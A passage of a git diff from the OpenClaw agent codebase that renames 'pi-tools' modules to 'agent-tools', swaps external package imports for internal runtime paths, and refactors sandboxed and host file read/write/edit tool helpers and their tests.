createWarnLogCapture("openclaw-pi-tools-policy-test"); + const warnLogs = createWarnLogCapture("openclaw-agent-tools-policy-test"); try { const cfg = { agents: { diff --git a/src/agents/pi-tools.policy.ts b/src/agents/agent-tools.policy.ts similarity index 99% rename from src/agents/pi-tools.policy.ts rename to src/agents/agent-tools.policy.ts index 3ac4ab9f84e..79787ced197 100644 --- a/src/agents/pi-tools.policy.ts +++ b/src/agents/agent-tools.policy.ts @@ -20,7 +20,7 @@ import { } from "../shared/string-normalization.js"; import { normalizeMessageChannel } from "../utils/message-channel.js"; import { resolveAgentConfig, resolveAgentIdFromSessionKey } from "./agent-scope.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; import { normalizeProviderId } from "./provider-id.js"; import { pickSandboxToolPolicy } from "./sandbox-tool-policy.js"; import type { SandboxToolPolicy } from "./sandbox.js"; diff --git a/src/agents/pi-tools.read.host-edit-access.test.ts b/src/agents/agent-tools.read.host-edit-access.test.ts similarity index 90% rename from src/agents/pi-tools.read.host-edit-access.test.ts rename to src/agents/agent-tools.read.host-edit-access.test.ts index dbc467c6a0f..539ce17cd91 100644 --- a/src/agents/pi-tools.read.host-edit-access.test.ts +++ b/src/agents/agent-tools.read.host-edit-access.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { createHostWorkspaceEditTool } from "./pi-tools.read.js"; +import { createHostWorkspaceEditTool } from "./agent-tools.read.js"; type CapturedEditOperations = { access: (absolutePath: string) => Promise; @@ -12,10 +12,8 @@ const mocks = vi.hoisted(() => ({ operations: undefined as CapturedEditOperations | undefined, })); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", - ); +vi.mock("./sessions/index.js", async () => { + const actual = await vi.importActual("./sessions/index.js"); return { ...actual, createEditTool: (_cwd: string, options?: { operations?: CapturedEditOperations }) => { diff --git a/src/agents/pi-tools.read.host-tilde-expansion.test.ts b/src/agents/agent-tools.read.host-tilde-expansion.test.ts similarity index 96% rename from src/agents/pi-tools.read.host-tilde-expansion.test.ts rename to src/agents/agent-tools.read.host-tilde-expansion.test.ts index 441c16d43d3..ab09c500153 100644 --- a/src/agents/pi-tools.read.host-tilde-expansion.test.ts +++ b/src/agents/agent-tools.read.host-tilde-expansion.test.ts @@ -19,10 +19,8 @@ const mocks = vi.hoisted(() => ({ writeOps: undefined as CapturedWriteOperations | undefined, })); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", - ); +vi.mock("./sessions/index.js", async () => { + const actual = await vi.importActual("./sessions/index.js"); return { ...actual, createEditTool: (_cwd: string, options?: { operations?: CapturedEditOperations }) => { @@ -47,7 +45,7 @@ vi.mock("@earendil-works/pi-coding-agent", async () => { }); const { createHostWorkspaceEditTool, createHostWorkspaceWriteTool } = - await import("./pi-tools.read.js"); + await import("./agent-tools.read.js"); const osHome = () => process.env.HOME ?? os.homedir(); const toTildePath = (absolutePath: string) => absolutePath.replace(osHome(), "~"); diff --git a/src/agents/pi-tools.read.ts b/src/agents/agent-tools.read.ts similarity index 90% rename from src/agents/pi-tools.read.ts rename to src/agents/agent-tools.read.ts index 2a17db2db1c..08cfa2024ee 100644 --- a/src/agents/pi-tools.read.ts +++ b/src/agents/agent-tools.read.ts @@ -1,8 +1,6 @@ import fs from "node:fs/promises"; import path from "node:path"; import { URL } from "node:url"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; -import { createEditTool, createReadTool, createWriteTool } from "@earendil-works/pi-coding-agent"; import { isWindowsDrivePath } from "../infra/archive-path.js"; import { canonicalPathFromExistingAncestor, @@ -13,18 +11,19 @@ import { expandHomePrefix, resolveOsHomeDir } from "../infra/home-dir.js"; import { hasEncodedFileUrlSeparator, trySafeFileURLToPath } from "../infra/local-file-access.js"; import { detectMime } from "../media/mime.js"; import { sniffMimeFromBase64 } from "../media/sniff-mime-from-base64.js"; -import type { ImageSanitizationLimits } from "./image-sanitization.js"; -import { toRelativeWorkspacePath } from "./path-policy.js"; -import { wrapEditToolWithRecovery, wrapWriteToolWithRecovery } from "./pi-tools.host-edit.js"; import { REQUIRED_PARAM_GROUPS, assertRequiredParams, getToolParamsRecord, wrapToolParamValidation, -} from "./pi-tools.params.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +} from "./agent-tools.params.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; +import type { ImageSanitizationLimits } from "./image-sanitization.js"; +import { toRelativeWorkspacePath } from "./path-policy.js"; +import type { AgentToolResult } from "./runtime/index.js"; import { assertSandboxPath } from "./sandbox-paths.js"; import type { SandboxFsBridge } from "./sandbox/fs-bridge.js"; +import { createEditTool, createReadTool, createWriteTool } from "./sessions/index.js"; import { sanitizeToolResultImages } from "./tool-images.js"; export { @@ -32,7 +31,7 @@ export { assertRequiredParams, getToolParamsRecord, wrapToolParamValidation, -} from "./pi-tools.params.js"; +} from "./agent-tools.params.js"; // NOTE(steipete): Upstream read now does file-magic MIME detection; we keep the wrapper // to sanitize oversized images before they hit providers. @@ -360,7 +359,7 @@ async function executeReadWithAdaptivePaging(params: { } function rewriteReadImageHeader(text: string, mimeType: string): string { - // pi-coding-agent uses: "Read image file [image/png]" + // session runtime uses: "Read image file [image/png]" if (text.startsWith("Read image file [") && text.endsWith("]")) { return `Read image file [${mimeType}]`; } @@ -805,69 +804,28 @@ export function createSandboxedWriteTool(params: SandboxToolParams) { const base = createWriteTool(params.root, { operations: createSandboxWriteOperations(params), }) as unknown as AnyAgentTool; - const withRecovery = wrapWriteToolWithRecovery(base, { - root: params.root, - readFile: async (absolutePath: string) => - (await params.bridge.readFile({ filePath: absolutePath, cwd: params.root })).toString("utf8"), - statFile: (absolutePath: string) => - params.bridge.stat({ filePath: absolutePath, cwd: params.root }), - }); - return wrapToolParamValidation(withRecovery, REQUIRED_PARAM_GROUPS.write); + return wrapToolParamValidation(base, REQUIRED_PARAM_GROUPS.write); } export function createSandboxedEditTool(params: SandboxToolParams) { const base = createEditTool(params.root, { operations: createSandboxEditOperations(params), }) as unknown as AnyAgentTool; - const withRecovery = wrapEditToolWithRecovery(base, { - root: params.root, - readFile: async (absolutePath: string) => - (await params.bridge.readFile({ filePath: absolutePath, cwd: params.root })).toString("utf8"), - }); - return wrapToolParamValidation(withRecovery, REQUIRED_PARAM_GROUPS.edit); + return wrapToolParamValidation(base, REQUIRED_PARAM_GROUPS.edit); } export function createHostWorkspaceWriteTool(root: string, options?: { workspaceOnly?: boolean }) { const base = createWriteTool(root, { operations: createHostWriteOperations(root, options), }) as unknown as AnyAgentTool; - const withRecovery = wrapWriteToolWithRecovery(base, { - root, - readFile: (absolutePath: string) => fs.readFile(absolutePath, "utf-8"), - statFile: async (absolutePath: string) => { - let stat; - try { - stat = await fs.stat(absolutePath); - } catch (err) { - if ( - err && - typeof err === "object" && - "code" in err && - (err as { code?: unknown }).code === "ENOENT" - ) { - return null; - } - throw err; - } - return { - type: stat.isFile() ? "file" : stat.isDirectory() ? "directory" : "other", - size: stat.size, - mtimeMs: stat.mtimeMs, - }; - }, - }); - return wrapToolParamValidation(withRecovery, REQUIRED_PARAM_GROUPS.write); + return wrapToolParamValidation(base, REQUIRED_PARAM_GROUPS.write); } export function createHostWorkspaceEditTool(root: string, options?: { workspaceOnly?: boolean }) { const base = createEditTool(root, { operations: createHostEditOperations(root, options), }) as unknown as AnyAgentTool; - const withRecovery = wrapEditToolWithRecovery(base, { - root, - readFile: (absolutePath: string) => fs.readFile(absolutePath, "utf-8"), - }); - return wrapToolParamValidation(withRecovery, REQUIRED_PARAM_GROUPS.edit); + return wrapToolParamValidation(base, REQUIRED_PARAM_GROUPS.edit); } export function createOpenClawReadTool( @@ -902,12 +860,7 @@ function createSandboxReadOperations(params: SandboxToolParams) { return { readFile: (absolutePath: string) => params.bridge.readFile({ filePath: absolutePath, cwd: params.root }), - access: async (absolutePath: string) => { - const stat = await params.bridge.stat({ filePath: absolutePath, cwd: params.root }); - if (!stat) { - throw createFsAccessError("ENOENT", absolutePath); - } - }, + access: (absolutePath: string) => assertSandboxFileExists(params, absolutePath), detectImageMimeType: async (absolutePath: string) => { const buffer = await params.bridge.readFile({ filePath: absolutePath, cwd: params.root }); const mime = await detectMime({ buffer, filePath: absolutePath }); @@ -924,6 +877,10 @@ function createSandboxWriteOperations(params: SandboxToolParams) { writeFile: async (absolutePath: string, content: string) => { await params.bridge.writeFile({ filePath: absolutePath, cwd: params.root, data: content }); }, + readFile: (absolutePath: string) => + params.bridge.readFile({ filePath: absolutePath, cwd: params.root }), + statFile: (absolutePath: string) => + params.bridge.stat({ filePath: absolutePath, cwd: params.root }), } as const; } @@ -933,26 +890,63 @@ function createSandboxEditOperations(params: SandboxToolParams) { params.bridge.readFile({ filePath: absolutePath, cwd: params.root }), writeFile: (absolutePath: string, content: string) => params.bridge.writeFile({ filePath: absolutePath, cwd: params.root, data: content }), - access: async (absolutePath: string) => { - const stat = await params.bridge.stat({ filePath: absolutePath, cwd: params.root }); - if (!stat) { - throw createFsAccessError("ENOENT", absolutePath); - } - }, + access: (absolutePath: string) => assertSandboxFileExists(params, absolutePath), } as const; } +async function assertSandboxFileExists(params: SandboxToolParams, absolutePath: string) { + const stat = await params.bridge.stat({ filePath: absolutePath, cwd: params.root }); + if (!stat) { + throw createFsAccessError("ENOENT", absolutePath); + } +} + function expandTildeToOsHome(filePath: string): string { const home = resolveOsHomeDir(); return home ? expandHomePrefix(filePath, { home }) : filePath; } +function resolveHostPath(filePath: string): string { + return path.resolve(expandTildeToOsHome(filePath)); +} + async function writeHostFile(absolutePath: string, content: string) { - const resolved = path.resolve(expandTildeToOsHome(absolutePath)); + const resolved = resolveHostPath(absolutePath); await fs.mkdir(path.dirname(resolved), { recursive: true }); await fs.writeFile(resolved, content, "utf-8"); } +async function statHostFile(absolutePath: string) { + try { + const stat = await fs.stat(absolutePath); + return { + type: stat.isFile() ? "file" : stat.isDirectory() ? "directory" : "other", + size: stat.size, + mtimeMs: stat.mtimeMs, + } as const; + } catch (error) { + if ( + error && + typeof error === "object" && + "code" in error && + (error as { code?: unknown }).code === "ENOENT" + ) { + return null; + } + throw error; + } +} + +async function writeWorkspaceFile( + root: string, + rootPromise: ReturnType, + absolutePath: string, + content: string, +) { + const relative = await toCanonicalRelativeWorkspacePath(root, absolutePath); + await (await rootPromise).write(relative, content, { mkdir: true }); +} + function createHostWriteOperations(root: string, options?: { workspaceOnly?: boolean }) { const workspaceOnly = options?.workspaceOnly ?? false; @@ -960,10 +954,14 @@ function createHostWriteOperations(root: string, options?: { workspaceOnly?: boo // When workspaceOnly is false, allow writes anywhere on the host return { mkdir: async (dir: string) => { - const resolved = path.resolve(expandTildeToOsHome(dir)); + const resolved = resolveHostPath(dir); await fs.mkdir(resolved, { recursive: true }); }, writeFile: writeHostFile, + readFile: async (absolutePath: string) => + fs.readFile(path.resolve(expandTildeToOsHome(absolutePath))), + statFile: (absolutePath: string) => + statHostFile(path.resolve(expandTildeToOsHome(absolutePath))), } as const; } @@ -976,9 +974,15 @@ function createHostWriteOperations(root: string, options?: { workspaceOnly?: boo await assertSandboxPath({ filePath: resolved, cwd: root, root }); await fs.mkdir(resolved, { recursive: true }); }, - writeFile: async (absolutePath: string, content: string) => { - const relative = await toCanonicalRelativeWorkspacePath(root, absolutePath); - await (await rootPromise).write(relative, content, { mkdir: true }); + writeFile: (absolutePath: string, content: string) => + writeWorkspaceFile(root, rootPromise, absolutePath, content), + readFile: async (absolutePath: string) => { + const relative = toRelativeWorkspacePath(root, absolutePath); + return (await (await rootPromise).read(relative)).buffer; + }, + statFile: async (absolutePath: string) => { + const relative = toRelativeWorkspacePath(root, absolutePath); + return statHostFile(path.resolve(root, relative)); }, } as const; } @@ -990,13 +994,11 @@ function createHostEditOperations(root: string, options?: { workspaceOnly?: bool // When workspaceOnly is false, allow edits anywhere on the host return { readFile: async (absolutePath: string) => { - const resolved = path.resolve(expandTildeToOsHome(absolutePath)); - return await fs.readFile(resolved); + return await fs.readFile(resolveHostPath(absolutePath)); }, writeFile: writeHostFile, access: async (absolutePath: string) => { - const resolved = path.resolve(expandTildeToOsHome(absolutePath)); - await fs.access(resolved); + await fs.access(resolveHostPath(absolutePath)); }, } as const; } @@ -1009,10 +1011,8 @@ function createHostEditOperations(root: string, options?: { workspaceOnly?: bool const safeRead = await (await rootPromise).read(relative); return safeRead.buffer; }, - writeFile: async (absolutePath: string, content: string) => { - const relative = await toCanonicalRelativeWorkspacePath(root, absolutePath); - await (await rootPromise).write(relative, content, { mkdir: true }); - }, + writeFile: (absolutePath: string, content: string) => + writeWorkspaceFile(root, rootPromise, absolutePath, content), access: async (absolutePath: string) => { let relative: string; try { diff --git a/src/agents/pi-tools.read.workspace-root-guard.test.ts b/src/agents/agent-tools.read.workspace-root-guard.test.ts similarity index 96% rename from src/agents/pi-tools.read.workspace-root-guard.test.ts rename to src/agents/agent-tools.read.workspace-root-guard.test.ts index 916c979d418..e0dd3b76701 100644 --- a/src/agents/pi-tools.read.workspace-root-guard.test.ts +++ b/src/agents/agent-tools.read.workspace-root-guard.test.ts @@ -1,6 +1,6 @@ import path from "node:path"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; type AssertSandboxPath = typeof import("./sandbox-paths.js").assertSandboxPath; @@ -29,10 +29,10 @@ function createToolHarness() { } async function loadModule() { - ({ wrapToolWorkspaceRootGuardWithOptions } = await import("./pi-tools.read.js")); + ({ wrapToolWorkspaceRootGuardWithOptions } = await import("./agent-tools.read.js")); } -let wrapToolWorkspaceRootGuardWithOptions: typeof import("./pi-tools.read.js").wrapToolWorkspaceRootGuardWithOptions; +let wrapToolWorkspaceRootGuardWithOptions: typeof import("./agent-tools.read.js").wrapToolWorkspaceRootGuardWithOptions; describe("wrapToolWorkspaceRootGuardWithOptions", () => { const root = "/tmp/root"; diff --git a/src/agents/pi-tools.safe-bins.test.ts b/src/agents/agent-tools.safe-bins.test.ts similarity index 98% rename from src/agents/pi-tools.safe-bins.test.ts rename to src/agents/agent-tools.safe-bins.test.ts index 6fc7314f4bf..18f29948e9f 100644 --- a/src/agents/pi-tools.safe-bins.test.ts +++ b/src/agents/agent-tools.safe-bins.test.ts @@ -8,7 +8,7 @@ import type { SafeBinProfileFixture } from "../infra/exec-safe-bin-policy.js"; import { withEnvAsync } from "../test-utils/env.js"; import { resetProcessRegistryForTests } from "./bash-process-registry.js"; -let createOpenClawCodingTools: typeof import("./pi-tools.js").createOpenClawCodingTools; +let createOpenClawCodingTools: typeof import("./agent-tools.js").createOpenClawCodingTools; const { mockExecApprovals, supervisorSpawnMock } = vi.hoisted(() => { const execApprovals = { @@ -78,7 +78,7 @@ beforeAll(async () => { OPENCLAW_BUNDLED_PLUGINS_DIR: path.join(os.tmpdir(), "openclaw-test-no-bundled-extensions"), }, async () => { - ({ createOpenClawCodingTools } = await import("./pi-tools.js")); + ({ createOpenClawCodingTools } = await import("./agent-tools.js")); }, ); }); @@ -138,7 +138,7 @@ vi.mock("../plugins/tools.js", () => ({ getPluginToolMeta: () => undefined, })); -vi.mock("@earendil-works/pi-coding-agent", () => ({ +vi.mock("openclaw/plugin-sdk/agent-sessions", () => ({ AuthStorage: vi.fn(), CURRENT_SESSION_VERSION: 1, ModelRegistry: vi.fn(), diff --git a/src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts b/src/agents/agent-tools.sandbox-mounted-paths.workspace-only.test.ts similarity index 98% rename from src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts rename to src/agents/agent-tools.sandbox-mounted-paths.workspace-only.test.ts index 934b242ab9b..87f77c7f327 100644 --- a/src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts +++ b/src/agents/agent-tools.sandbox-mounted-paths.workspace-only.test.ts @@ -2,19 +2,19 @@ import fs from "node:fs/promises"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { createApplyPatchTool } from "./apply-patch.js"; import { createSandboxedEditTool, createSandboxedReadTool, createSandboxedWriteTool, wrapToolWorkspaceRootGuardWithOptions, -} from "./pi-tools.read.js"; +} from "./agent-tools.read.js"; +import { createApplyPatchTool } from "./apply-patch.js"; import { SANDBOX_AGENT_WORKSPACE_MOUNT } from "./sandbox/constants.js"; import { expectReadWriteEditTools, expectReadWriteTools, getTextContent, -} from "./test-helpers/pi-tools-fs-helpers.js"; +} from "./test-helpers/agent-tools-fs-helpers.js"; import { withUnsafeMountedSandboxHarness } from "./test-helpers/unsafe-mounted-sandbox.js"; vi.mock("../infra/shell-env.js", async () => { diff --git a/src/agents/pi-tools.schema.test.ts b/src/agents/agent-tools.schema.test.ts similarity index 99% rename from src/agents/pi-tools.schema.test.ts rename to src/agents/agent-tools.schema.test.ts index 2e8afefb0d0..48011a85a05 100644 --- a/src/agents/pi-tools.schema.test.ts +++ b/src/agents/agent-tools.schema.test.ts @@ -1,14 +1,14 @@ -import { runAgentLoop, type AgentEvent, type StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream, validateToolArguments } from "@earendil-works/pi-ai"; +import { runAgentLoop, type AgentEvent, type StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { createAssistantMessageEventStream, validateToolArguments } from "openclaw/plugin-sdk/llm"; import { Type, type TSchema } from "typebox"; import { describe, expect, it, vi } from "vitest"; -import { wrapToolWithBeforeToolCallHook } from "./pi-tools.before-tool-call.js"; +import { wrapToolWithBeforeToolCallHook } from "./agent-tools.before-tool-call.js"; import { cleanToolSchemaForGemini, normalizeToolParameterSchema, normalizeToolParameters, -} from "./pi-tools.schema.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +} from "./agent-tools.schema.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; const TEST_USAGE = { input: 0, diff --git a/src/agents/pi-tools.schema.ts b/src/agents/agent-tools.schema.ts similarity index 96% rename from src/agents/pi-tools.schema.ts rename to src/agents/agent-tools.schema.ts index 48bb3cd5549..0acfcaa48f9 100644 --- a/src/agents/pi-tools.schema.ts +++ b/src/agents/agent-tools.schema.ts @@ -1,10 +1,10 @@ import { copyPluginToolMeta } from "../plugins/tools.js"; -import { copyChannelAgentToolMeta } from "./channel-tools.js"; import { normalizeToolParameterSchema, type ToolParameterSchemaOptions, -} from "./pi-tools-parameter-schema.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +} from "./agent-tools-parameter-schema.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; +import { copyChannelAgentToolMeta } from "./channel-tools.js"; export { normalizeToolParameterSchema }; diff --git a/src/agents/pi-tools.ts b/src/agents/agent-tools.ts similarity index 98% rename from src/agents/pi-tools.ts rename to src/agents/agent-tools.ts index ea48bcb4d63..dbb45740688 100644 --- a/src/agents/pi-tools.ts +++ b/src/agents/agent-tools.ts @@ -1,5 +1,4 @@ import path from "node:path"; -import { createCodingTools, createReadTool } from "@earendil-works/pi-coding-agent"; import type { SourceReplyDeliveryMode } from "../auto-reply/get-reply-options.types.js"; import { HEARTBEAT_RESPONSE_TOOL_NAME } from "../auto-reply/heartbeat-tool-response.js"; import type { InboundEventKind } from "../channels/inbound-event/kind.js"; @@ -18,33 +17,20 @@ import { } from "../shared/string-coerce.js"; import { resolveGatewayMessageChannel } from "../utils/message-channel.js"; import { resolveAgentConfig } from "./agent-scope.js"; -import { createApplyPatchTool } from "./apply-patch.js"; -import type { AuthProfileStore } from "./auth-profiles/types.js"; -import { describeExecTool, describeProcessTool } from "./bash-tools.descriptions.js"; -import type { ExecToolDefaults } from "./bash-tools.exec-types.js"; -import type { ProcessToolDefaults } from "./bash-tools.process.js"; -import { execSchema, processSchema } from "./bash-tools.schemas.js"; -import { listChannelAgentTools } from "./channel-tools.js"; -import { shouldSuppressManagedWebSearchTool } from "./codex-native-web-search.js"; -import { resolveImageSanitizationLimits } from "./image-sanitization.js"; -import { filterLocalModelLeanTools } from "./local-model-lean.js"; -import type { ModelAuthMode } from "./model-auth.js"; -import { resolveOpenClawPluginToolsForOptions } from "./openclaw-plugin-tools.js"; -import { createOpenClawTools } from "./openclaw-tools.js"; -import { wrapToolWithAbortSignal } from "./pi-tools.abort.js"; +import { wrapToolWithAbortSignal } from "./agent-tools.abort.js"; import { type ToolOutcomeObserver, wrapToolWithBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; -import { applyDeferredFollowupToolDescriptions } from "./pi-tools.deferred-followup.js"; -import { filterToolsByMessageProvider } from "./pi-tools.message-provider-policy.js"; +} from "./agent-tools.before-tool-call.js"; +import { applyDeferredFollowupToolDescriptions } from "./agent-tools.deferred-followup.js"; +import { filterToolsByMessageProvider } from "./agent-tools.message-provider-policy.js"; import { isToolAllowedByPolicies, resolveEffectiveToolPolicy, resolveGroupToolPolicy, resolveInheritedToolPolicyForSession, resolveSubagentToolPolicyForSession, -} from "./pi-tools.policy.js"; +} from "./agent-tools.policy.js"; import { assertRequiredParams, createHostWorkspaceEditTool, @@ -58,12 +44,26 @@ import { wrapToolWorkspaceRootGuard, wrapToolWorkspaceRootGuardWithOptions, wrapToolParamValidation, -} from "./pi-tools.read.js"; -import { cleanToolSchemaForGemini, normalizeToolParameters } from "./pi-tools.schema.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +} from "./agent-tools.read.js"; +import { cleanToolSchemaForGemini, normalizeToolParameters } from "./agent-tools.schema.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; +import { createApplyPatchTool } from "./apply-patch.js"; +import type { AuthProfileStore } from "./auth-profiles/types.js"; +import { describeExecTool, describeProcessTool } from "./bash-tools.descriptions.js"; +import type { ExecToolDefaults } from "./bash-tools.exec-types.js"; +import type { ProcessToolDefaults } from "./bash-tools.process.js"; +import { execSchema, processSchema } from "./bash-tools.schemas.js"; +import { listChannelAgentTools } from "./channel-tools.js"; +import { shouldSuppressManagedWebSearchTool } from "./codex-native-web-search.js"; +import { resolveImageSanitizationLimits } from "./image-sanitization.js"; +import { filterLocalModelLeanTools } from "./local-model-lean.js"; +import type { ModelAuthMode } from "./model-auth.js"; +import { resolveOpenClawPluginToolsForOptions } from "./openclaw-plugin-tools.js"; +import { createOpenClawTools } from "./openclaw-tools.js"; import type { SandboxContext } from "./sandbox.js"; import { SANDBOX_AGENT_WORKSPACE_MOUNT } from "./sandbox/constants.js"; import { resolveSenderToolPolicy } from "./sender-tool-policy.js"; +import { createCodingTools, createReadTool } from "./sessions/index.js"; import type { SkillSnapshot } from "./skills/types.js"; import { isSubagentEnvelopeSession, @@ -452,9 +452,9 @@ export function createOpenClawCodingTools(options?: { includeCoreTools?: boolean; /** Include Tool Search control tools when enabled for this run. */ includeToolSearchControls?: boolean; - /** Executes cataloged tools through the active PI run lifecycle. */ + /** Executes cataloged tools through the active agent run lifecycle. */ toolSearchCatalogExecutor?: ToolSearchCatalogToolExecutor; - /** Runtime-local Tool Search catalog ref shared with PI attempt compaction. */ + /** Runtime-local Tool Search catalog ref shared with attempt compaction. */ toolSearchCatalogRef?: ToolSearchCatalogRef; /** Limits which tool families are materialized before the shared policy pipeline runs. */ toolConstructionPlan?: OpenClawCodingToolConstructionPlan; @@ -1058,7 +1058,7 @@ export function createOpenClawCodingTools(options?: { replaceWithEffectiveToolAllowlist(inheritedToolAllowlist, subagentFiltered); } options?.recordToolPrepStage?.("authorization-policy"); - // Always normalize tool JSON Schemas before handing them to pi-agent/pi-ai. + // Always normalize tool JSON Schemas before handing them to OpenClaw model runtime. // Without this, some providers (notably OpenAI) will reject root-level union schemas. // Provider-specific cleaning: Gemini needs constraint keywords stripped, but Anthropic expects them. const normalized = subagentFiltered.map((tool) => @@ -1103,7 +1103,7 @@ export function createOpenClawCodingTools(options?: { options?.recordToolPrepStage?.("deferred-followup-descriptions"); // NOTE: Keep canonical (lowercase) tool names here. - // pi-ai's Anthropic OAuth transport remaps tool names to Claude Code-style names + // shared model runtime's Anthropic OAuth transport remaps tool names to Claude Code-style names // on the wire and maps them back for tool dispatch. return withDeferredFollowupDescriptions; } diff --git a/src/agents/pi-tools.types.ts b/src/agents/agent-tools.types.ts similarity index 100% rename from src/agents/pi-tools.types.ts rename to src/agents/agent-tools.types.ts diff --git a/src/agents/pi-tools.workspace-only-false.test.ts b/src/agents/agent-tools.workspace-only-false.test.ts similarity index 94% rename from src/agents/pi-tools.workspace-only-false.test.ts rename to src/agents/agent-tools.workspace-only-false.test.ts index 65320e4bd2a..6b8034cd92b 100644 --- a/src/agents/pi-tools.workspace-only-false.test.ts +++ b/src/agents/agent-tools.workspace-only-false.test.ts @@ -1,35 +1,24 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { createReadTool } from "@earendil-works/pi-coding-agent"; +import { createReadTool } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -vi.mock("@earendil-works/pi-ai", async () => { +vi.mock("openclaw/plugin-sdk/llm", async () => { const original = - await vi.importActual("@earendil-works/pi-ai"); + await vi.importActual("openclaw/plugin-sdk/llm"); return { ...original, }; }); -vi.mock("@earendil-works/pi-ai/oauth", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-ai/oauth", - ); - return { - ...actual, - getOAuthApiKey: () => undefined, - getOAuthProviders: () => [], - }; -}); - import { createHostWorkspaceEditTool, createHostWorkspaceWriteTool, createOpenClawReadTool, wrapToolMemoryFlushAppendOnlyWrite, wrapToolWorkspaceRootGuard, -} from "./pi-tools.read.js"; +} from "./agent-tools.read.js"; import type { AnyAgentTool } from "./tools/common.js"; describe("FS tools with workspaceOnly=false", () => { diff --git a/src/agents/pi-tools.workspace-paths.test.ts b/src/agents/agent-tools.workspace-paths.test.ts similarity index 98% rename from src/agents/pi-tools.workspace-paths.test.ts rename to src/agents/agent-tools.workspace-paths.test.ts index 7ac34270272..645f9f1208f 100644 --- a/src/agents/pi-tools.workspace-paths.test.ts +++ b/src/agents/agent-tools.workspace-paths.test.ts @@ -5,11 +5,11 @@ import { describe, expect, it, vi } from "vitest"; import "./test-helpers/fast-coding-tools.js"; import "./test-helpers/fast-openclaw-tools.js"; import type { OpenClawConfig } from "../config/config.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; import { createCanonicalFixtureSkill } from "./skills.test-helpers.js"; +import { expectReadWriteEditTools, getTextContent } from "./test-helpers/agent-tools-fs-helpers.js"; +import { createAgentToolsSandboxContext } from "./test-helpers/agent-tools-sandbox-context.js"; import { createHostSandboxFsBridge } from "./test-helpers/host-sandbox-fs-bridge.js"; -import { expectReadWriteEditTools, getTextContent } from "./test-helpers/pi-tools-fs-helpers.js"; -import { createPiToolsSandboxContext } from "./test-helpers/pi-tools-sandbox-context.js"; vi.mock("../infra/shell-env.js", async () => { const mod = @@ -435,7 +435,7 @@ describe("sandboxed workspace paths", () => { it("uses sandbox workspace for relative read/write/edit", async () => { await withTempDir("openclaw-sandbox-", async (sandboxDir) => { await withTempDir("openclaw-workspace-", async (workspaceDir) => { - const sandbox = createPiToolsSandboxContext({ + const sandbox = createAgentToolsSandboxContext({ workspaceDir: sandboxDir, agentWorkspaceDir: workspaceDir, workspaceAccess: "rw" as const, diff --git a/src/agents/anthropic-payload-log.test.ts b/src/agents/anthropic-payload-log.test.ts index c39a6cc8179..cb7d61db94b 100644 --- a/src/agents/anthropic-payload-log.test.ts +++ b/src/agents/anthropic-payload-log.test.ts @@ -1,5 +1,5 @@ import crypto from "node:crypto"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { createAnthropicPayloadLogger } from "./anthropic-payload-log.js"; diff --git a/src/agents/anthropic-payload-log.ts b/src/agents/anthropic-payload-log.ts index a1207bf73b4..72982cbbe33 100644 --- a/src/agents/anthropic-payload-log.ts +++ b/src/agents/anthropic-payload-log.ts @@ -1,14 +1,14 @@ import crypto from "node:crypto"; import path from "node:path"; -import type { AgentMessage, StreamFn } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; import { resolveStateDir } from "../config/paths.js"; +import type { Model } from "../llm/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { resolveUserPath } from "../utils.js"; import { parseBooleanValue } from "../utils/boolean.js"; import { safeJsonStringify } from "../utils/safe-json.js"; import { sanitizeDiagnosticPayload } from "./payload-redaction.js"; import { getQueuedFileWriter, type QueuedFileWriter } from "./queued-file-writer.js"; +import type { AgentMessage, StreamFn } from "./runtime/index.js"; type PayloadLogStage = "request" | "usage"; @@ -77,7 +77,7 @@ function digest(value: unknown): string | undefined { return crypto.createHash("sha256").update(serialized).digest("hex"); } -function isAnthropicModel(model: Model | undefined | null): boolean { +function isAnthropicModel(model: Model | undefined | null): boolean { return (model as { api?: unknown })?.api === "anthropic-messages"; } diff --git a/src/agents/anthropic-payload-policy.test.ts b/src/agents/anthropic-payload-policy.test.ts index 4650cc9a8da..47ce7cd0ff3 100644 --- a/src/agents/anthropic-payload-policy.test.ts +++ b/src/agents/anthropic-payload-policy.test.ts @@ -123,8 +123,8 @@ describe("anthropic payload policy", () => { }); it("keeps implicit env-driven long retention conservative for custom hosts", () => { - const previous = process.env.PI_CACHE_RETENTION; - process.env.PI_CACHE_RETENTION = "long"; + const previous = process.env.OPENCLAW_CACHE_RETENTION; + 